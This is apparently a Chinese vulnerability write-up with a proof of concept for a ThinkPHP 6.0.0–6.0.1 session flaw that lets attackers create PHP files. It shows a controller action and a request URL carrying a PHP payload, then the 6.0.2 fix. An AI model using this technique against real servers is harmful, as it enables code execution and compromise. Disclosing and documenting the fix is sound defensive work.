thinkphp6 session 任意文件创建漏洞POC

  • 发表于
  • Vulndb

2020年1月13号,Thinkphp 6.0.2发布,在详情页指出修复了一处Session安全隐患。经分析,该漏洞允许攻击者在目标环境启用session的条件下创建任意文件以及删除任意文件,在特定情况下还可以getshell

具体受影响版本为ThinkPHP6.0.0-6.0.1。

漏洞复现

在index控制器中添加如下action

public function testsession2(){
$username = Request::get('name');
Session::set('username', $username);
return 'hi';
}

用于获取name参数,并将之设置到session中。

访问url:http://127.0.0.1/tp6/public/index.php/index/testsession2?name=<?php%20phpinfo();?>

thinkphp6 session 任意文件创建漏洞POC

访问session文件,一般位于项目根目录下的./runtime/session/文件夹下,也就是/runtime/session/sess_1234567890123456789012345678.php

thinkphp6 session 任意文件创建漏洞POC

修复方法

在6.0.2中,对session id使用了ctype_alnum()进行了判断,导致无法传递.等特殊字符,从而无法控制session文件为.php后缀。所以直接更新thinkphp6版本即可。